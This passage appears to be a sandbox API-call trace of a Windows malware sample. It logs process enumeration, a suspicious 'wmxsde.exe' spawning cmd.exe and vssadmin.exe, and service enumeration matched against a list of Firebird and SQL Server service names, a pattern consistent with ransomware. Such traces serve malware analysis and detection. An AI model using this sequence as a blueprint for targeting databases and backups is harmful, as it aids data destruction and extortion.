th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0180.202] lstrlenW (lpString="lsass.exe") returned 9 [0180.202] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0180.204] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0180.204] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0180.206] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0180.206] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.207] lstrlenW (lpString="svchost.exe") returned 11 [0180.207] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.209] lstrlenW (lpString="svchost.exe") returned 11 [0180.269] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0180.271] lstrlenW (lpString="dwm.exe") returned 7 [0180.271] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.272] lstrlenW (lpString="svchost.exe") returned 11 [0180.272] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.274] lstrlenW (lpString="svchost.exe") returned 11 [0180.274] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.275] lstrlenW (lpString="svchost.exe") returned 11 [0180.275] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.276] lstrlenW (lpString="svchost.exe") returned 11 [0180.276] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.278] lstrlenW (lpString="svchost.exe") returned 11 [0180.278] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.279] lstrlenW (lpString="svchost.exe") returned 11 [0180.279] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.318] lstrlenW (lpString="svchost.exe") returned 11 [0180.318] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.319] lstrlenW (lpString="svchost.exe") returned 11 [0180.320] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.321] lstrlenW (lpString="svchost.exe") returned 11 [0180.321] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.322] lstrlenW (lpString="svchost.exe") returned 11 [0180.322] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0180.324] lstrlenW (lpString="spoolsv.exe") returned 11 [0180.324] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.325] lstrlenW (lpString="svchost.exe") returned 11 [0180.325] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0180.326] lstrlenW (lpString="audiodg.exe") returned 11 [0180.326] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0180.327] lstrlenW (lpString="taskhostw.exe") returned 13 [0180.328] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0180.329] lstrlenW (lpString="sihost.exe") returned 10 [0180.329] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.330] lstrlenW (lpString="svchost.exe") returned 11 [0180.330] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0180.332] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0180.332] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0180.333] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0180.333] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0180.334] lstrlenW (lpString="Memory Compression") returned 18 [0180.335] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0180.336] lstrlenW (lpString="taskhostw.exe") returned 13 [0180.336] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0180.337] lstrlenW (lpString="msoia.exe") returned 9 [0180.337] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0180.338] lstrlenW (lpString="explorer.exe") returned 12 [0180.338] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0180.340] lstrlenW (lpString="SearchUI.exe") returned 12 [0180.340] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0180.421] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0180.421] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0180.422] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0180.423] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0180.424] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0180.424] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0180.425] lstrlenW (lpString="wmxsde.exe") returned 10 [0180.425] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0180.427] lstrlenW (lpString="cmd.exe") returned 7 [0180.427] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0180.428] lstrlenW (lpString="conhost.exe") returned 11 [0180.428] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0180.430] lstrlenW (lpString="consent.exe") returned 11 [0180.430] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0180.431] lstrlenW (lpString="vssadmin.exe") returned 12 [0180.431] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0180.432] CloseHandle (hObject=0x528) returned 1 [0180.432] Sleep (dwMilliseconds=0x1f4) [0181.165] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f218 [0181.165] EnumServicesStatusExW (in: hSCManager=0x459f218, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0181.166] GetLastError () returned 0xea [0181.166] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4661fb8 [0181.166] EnumServicesStatusExW (in: hSCManager=0x459f218, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4661fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4661fb8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0181.167] CloseServiceHandle (hSCObject=0x459f218) returned 1 [0181.168] lstrlenW (lpString="Appinfo") returned 7 [0181.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0181.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0181.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0181.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0181.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0181.168] lstrlenW (lpString="AppXSvc") returned 7 [0181.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0181.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0181.168] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0181.168] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0181.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0181.168] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0181.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0181.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0181.168] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0181.168] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0181.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0181.168] lstrlenW (lpString="Audiosrv") returned 8 [0181.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0181.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0181.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0181.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0181.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0181.168] lstrlenW (lpString="BFE") returned 3 [0181.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0181.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0181.169] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0181.169] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0181.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0181.169] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0181.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0181.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0181.169] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0181.169] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0181.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0181.169] lstrlenW (lpString="CDPSvc") returned 6 [0181.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0181.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0181.169] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0181.169] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0181.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0181.169] lstrlenW (lpString="ClickToRunSvc") returned 13 [0181.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0181.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0181.169] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0181.169] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0181.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0181.169] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0181.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0181.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0181.170] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0181.170] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0181.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0181.170] lstrlenW (lpString="CryptSvc") returned 8 [0181.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0181.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0181.170] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0181.170] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0181.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0181.170] lstrlenW (lpString="DcomLaunch") returned 10 [0181.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0181.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0181.170] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0181.170] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0181.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0181.170] lstrlenW (lpString="DeviceAssociationService") returned 24 [0181.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0181.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0181.170] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0181.170] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0181.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0181.170] lstrlenW (lpString="Dhcp") returned 4 [0181.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0181.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0181.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0181.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0181.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0181.171] lstrlenW (lpString="Dnscache") returned 8 [0181.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0181.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0181.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0181.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0181.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0181.171] lstrlenW (lpString="DPS") returned 3 [0181.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0181.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0181.171] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0181.171] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0181.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0181.171] lstrlenW (lpString="DusmSvc") returned 7 [0181.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0181.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0181.171] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0181.171] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0181.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0181.171] lstrlenW (lpString="EventLog") returned 8 [0181.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0181.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0181.171] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0181.171] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0181.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0181.172] lstrlenW (lpString="EventSystem") returned 11 [0181.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0181.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0181.172] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0181.172] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0181.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0181.172] lstrlenW (lpString="FontCache") returned 9 [0181.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0181.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0181.172] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0181.172] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0181.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0181.172] lstrlenW (lpString="gpsvc") returned 5 [0181.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0181.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0181.172] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0181.172] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0181.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0181.172] lstrlenW (lpString="iphlpsvc") returned 8 [0181.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0181.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0181.172] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0181.172] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0181.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0181.173] lstrlenW (lpString="KeyIso") returned 6 [0181.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0181.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0181.173] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0181.173] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0181.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0181.173] lstrlenW (lpString="LanmanServer") returned 12 [0181.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0181.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0181.173] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0181.173] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0181.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0181.173] lstrlenW (lpString="LanmanWorkstation") returned 17 [0181.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0181.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0181.173] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0181.173] lstrcmpiW (lpString1="mssqlserver", 